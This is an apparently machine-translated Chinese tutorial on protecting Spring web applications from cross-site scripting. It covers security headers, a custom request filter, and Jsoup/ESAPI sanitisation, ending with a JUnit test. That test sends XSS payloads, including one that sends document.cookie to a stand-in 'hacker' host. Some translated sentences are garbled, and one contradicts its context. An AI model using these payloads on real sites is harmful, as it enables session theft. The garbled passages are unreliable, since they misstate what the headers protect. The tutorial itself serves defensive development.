在Spring應用程序中防止跨站點腳本(XSS)
1.概述
在構建Spring Web應用程序時,重點放在安全性上很重要。跨站點腳本(XSS)是對Web安全性最關鍵的攻擊之一。
在Spring應用程序中,防止XSS攻擊是一項挑戰。 Spring提供了一些幫助,但是我們需要實現額外的代碼以提供完整的保護。
在本教程中,我們將使用可用的Spring Security功能,並添加自己的XSS過濾器。
2.什麼是跨站點腳本(XSS)攻擊?
2.1。問題的定義
XSS是常見的注入攻擊類型。在XSS中,攻擊者嘗試在Web應用程序中執行惡意代碼。他們通過Web瀏覽器或諸如Postman之類的HTTP客戶端工具與之交互。
XSS攻擊有兩種類型:
- 反射或非持久XSS
- 存儲或持久XSS
在Reflected或Nonpersistent XSS中,不可信的用戶數據被提交到Web應用程序,該Web應用程序將立即在響應中返回,從而將不可信的內容添加到頁面中。 Web瀏覽器假定代碼來自Web服務器並執行它。這可能會使黑客向您發送一個鏈接,該鏈接在被跟踪時會導致您的瀏覽器從您使用的站點檢索您的私人數據,然後使您的瀏覽器將其轉發到黑客的服務器。
在“存儲的或持久的XSS”中,攻擊者的輸入由Web服務器存儲。隨後,任何將來的訪問者都可以執行該惡意代碼。
2.2。防禦攻擊
防止XSS攻擊的主要策略是清除用戶輸入。
在Spring Web應用程序中,用戶的輸入是HTTP請求。為了防止攻擊,我們應該檢查HTTP請求的內容,並刪除服務器或瀏覽器中可能執行的所有內容。
對於通過Web瀏覽器訪問的常規Web應用程序,我們可以使用Spring Security的內置功能(Reflected XSS)。對於公開API的Web應用程序,Spring Security不提供任何功能,我們必須實現自定義XSS過濾器以防止存儲XSS。
3.使用Spring Security使應用程序XSS安全
Spring Security默認提供幾個安全頭。它包括X-XSS-Protection
標頭。 X-XSS-Protection
告訴瀏覽器阻止看起來像XSS的東西。 Spring Security可以自動將此安全標頭添加到響應中。為了激活它,我們在Spring Security配置類中配置XSS支持。
使用此功能,瀏覽器在檢測到XSS嘗試時不會呈現。但是,某些Web瀏覽器尚未實現XSS審核器。在這種情況下,它們不使用X-XSS-Protection
標頭.
為了解決此問題,我們還可以使用內容安全策略(CSP)功能。
CSP是安全性的附加層,有助於緩解XSS和數據注入攻擊。要啟用它,我們需要通過提供WebSecurityConfigurerAdapter
bean Content-Security-Policy
@Configuration
public class SecurityConf extends WebSecurityConfigurerAdapter {
@Override
protected void configure(HttpSecurity http) throws Exception {
http
.headers()
.xssProtection()
.and()
.contentSecurityPolicy("script-src 'self'");
}
}
這些標頭確實可以保護REST API免受存儲的XSS的侵害。為了解決這個問題,我們可能還需要實現一個XSS過濾器。
4.創建一個XSS過濾器
4.1。使用XSS過濾器
為了防止XSS攻擊,我們將在將請求傳遞給RestController
之前從請求內容中刪除所有可疑字符串:
HTTP請求內容包括以下部分:
- 請求header
- 參數Parameters
- 請求Body
通常,對於每個請求,我們都應從標頭,參數和主體中刪除惡意代碼。
我們將創建一個用於評估請求值的過濾器。 XSS篩選器檢查請求的參數,標頭和正文。
讓我們通過實現Filter
接口來創建XSS過濾器:
@Component
@Order(Ordered.HIGHEST_PRECEDENCE)
public class XSSFilter implements Filter {
@Override
public void doFilter(ServletRequest request, ServletResponse response,
FilterChain chain) throws IOException, ServletException {
XSSRequestWrapper wrappedRequest =
new XSSRequestWrapper((HttpServletRequest) request);
chain.doFilter(wrappedRequest, response);
}
// other methods
}
我們應該將XSS過濾器配置為Spring應用程序中的第一個過濾器。因此,我們將過濾器的順序設置為HIGHEST_PRECEDENCE
。
為了向請求添加數據清理,我們將創建一個名為XSSRequestWrapper,
HttpServletRequestWrapper
子類,該子類將覆蓋getParameterValues
, getParameter
和getHeaders
方法,以在向控制器提供數據之前執行XSS檢查。
4.2。從請求參數中剝離XSS
現在,讓我們在請求包裝器中getParameterValues
和getParameter
public class XSSRequestWrapper extends HttpServletRequestWrapper {
@Override
public String[] getParameterValues(String parameter) {
String[] values = super.getParameterValues(parameter);
if (values == null) {
return null;
}
int count = values.length;
String[] encodedValues = new String[count];
for (int i = 0; i < count; i++) {
encodedValues[i] = stripXSS(values[i]);
}
return encodedValues;
}
@Override
public String getParameter(String parameter) {
String value = super.getParameter(parameter);
return stripXSS(value);
}
}
我們將編寫一個stripXSS
函數來處理每個值。我們將盡快實施。
4.3。從請求標頭中剝離XSS
我們還需要從請求標頭中剝離XSS。當getHeaders
返回一個Enumeration
我們將需要生成一個新列表,以清理每個標頭:
@Override
public Enumeration getHeaders(String name) {
List result = new ArrayList<>();
Enumeration headers = super.getHeaders(name);
while (headers.hasMoreElements()) {
String header = headers.nextElement();
String[] tokens = header.split(",");
for (String token : tokens) {
result.add(stripXSS(token));
}
}
return Collections.enumeration(result);
}
4.4。從請求主體中剝離XSS
我們的過濾器需要從請求正文中刪除危險內容。由於我們已經具有可wrappedRequest
InputStream
的wrappedRequest,因此讓我們擴展代碼以處理主體,並在清除它後InputStream
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
throws IOException, ServletException {
XSSRequestWrapper wrappedRequest = new XSSRequestWrapper((HttpServletRequest) request);
String body = IOUtils.toString(wrappedRequest.getReader());
if (!StringUtils.isBlank(body)) {
body = XSSUtils.stripXSS(body);
wrappedRequest.resetInputStream(body.getBytes());
}
chain.doFilter(wrappedRequest, response);
}
5.使用外部庫進行數據清理
現在,所有讀取請求的代碼stripXSS
在用戶提供的任何內容上執行stripXSS函數。現在讓我們創建執行XSS檢查的功能。
首先,此方法將獲取請求的值並將其規範化。對於這一步,我們使用ESAPI 。 ESAPI是可從OWASP獲得的開源Web應用程序安全控制庫。
其次,我們將根據XSS模式檢查請求的值。如果該值可疑,它將被設置為一個空字符串。為此,我們將使用Jsoup,它提供了一些簡單的清理功能。如果我們想要更多的控制,我們可以構建自己的正則表達式,但這可能比使用庫更容易出錯。
5.1 依賴關係
首先,我們將esapi
maven依賴項添加到我們的pom.xml
文件中:
<dependency>
<groupId>org.owasp.esapi</groupId>
<artifactId>esapi</artifactId>
<version>2.2.2.0</version>
</dependency>
另外,我們需要jsoup
:
<dependency>
<groupId>org.jsoup</groupId>
<artifactId>jsoup</artifactId>
<version>1.13.1</version>
</dependency>
5.2 代碼實現
現在,讓我們創建stripXSS
方法:
public static String stripXSS(String value) {
if (value == null) {
return null;
}
value = ESAPI.encoder()
.canonicalize(value)
.replaceAll("\0", "");
return Jsoup.clean(value, Whitelist.none());
}
在這裡,我們將Jsoup Whitelist
設置為none
,僅允許文本節點。這樣,所有HTML都將被剝離。
6.測試XSS預防
6.1。手動測試
現在,讓我們使用Postman向我們的應用程序發送可疑請求。我們將向URI /personService/person
發送POST消息。另外,我們將包含一些可疑的標頭和參數。
下圖顯示了請求標頭和參數:
當我們的服務接受JSON數據時,讓我們向請求正文中添加一些可疑的JSON內容:
當我們的測試服務器返回清除的響應時,讓我們檢查發生了什麼:
標頭和參數值將替換為空字符串。此外,響應主體顯示我們在lastName
字段中的可疑值已被刪除。
6.2。自動化測試
現在讓我們為XSS過濾編寫一個自動化測試:
// declare required variables
personJsonObject.put("id", 1);
personJsonObject.put("firstName", "baeldung <script>alert('XSS')</script>");
personJsonObject.put("lastName", "baeldung <b onmouseover=alert('XSS')>click me!</b>");
builder = UriComponentsBuilder.fromHttpUrl(createPersonUrl)
.queryParam("param", "<script>");
headers.add("header_1", "<body onload=alert('XSS')>");
headers.add("header_2", "<span onmousemove='doBadXss()'>");
headers.add("header_3", "<SCRIPT>var+img=new+Image();"
+ "img.src=\"http://hacker/\"%20+%20document.cookie;</SCRIPT>");
headers.add("header_4", "<p>Your search for 'flowers <script>evil_script()</script>'");
HttpEntity<String> request = new HttpEntity<>(personJsonObject.toString(), headers);
ResponseEntity<String> personResultAsJsonStr = restTemplate
.exchange(builder.toUriString(), HttpMethod.POST, request, String.class);
JsonNode root = objectMapper.readTree(personResultAsJsonStr.getBody());
assertThat(root.get("firstName").textValue()).isEqualTo("baeldung ");
assertThat(root.get("lastName").textValue()).isEqualTo("baeldung click me!");
assertThat(root.get("param").textValue()).isEmpty();
assertThat(root.get("header_1").textValue()).isEmpty();
assertThat(root.get("header_2").textValue()).isEmpty();
assertThat(root.get("header_3").textValue()).isEmpty();
assertThat(root.get("header_4").textValue()).isEqualTo("Your search for 'flowers '");
7.結論
在本文中,我們了解瞭如何通過同時使用Spring Security功能和自定義XSS過濾器來防止XSS攻擊。
我們看到了它如何保護我們免受反射性XSS攻擊和持續性XSS攻擊。我們還研究瞭如何使用Postman和JUnit測試來測試應用程序。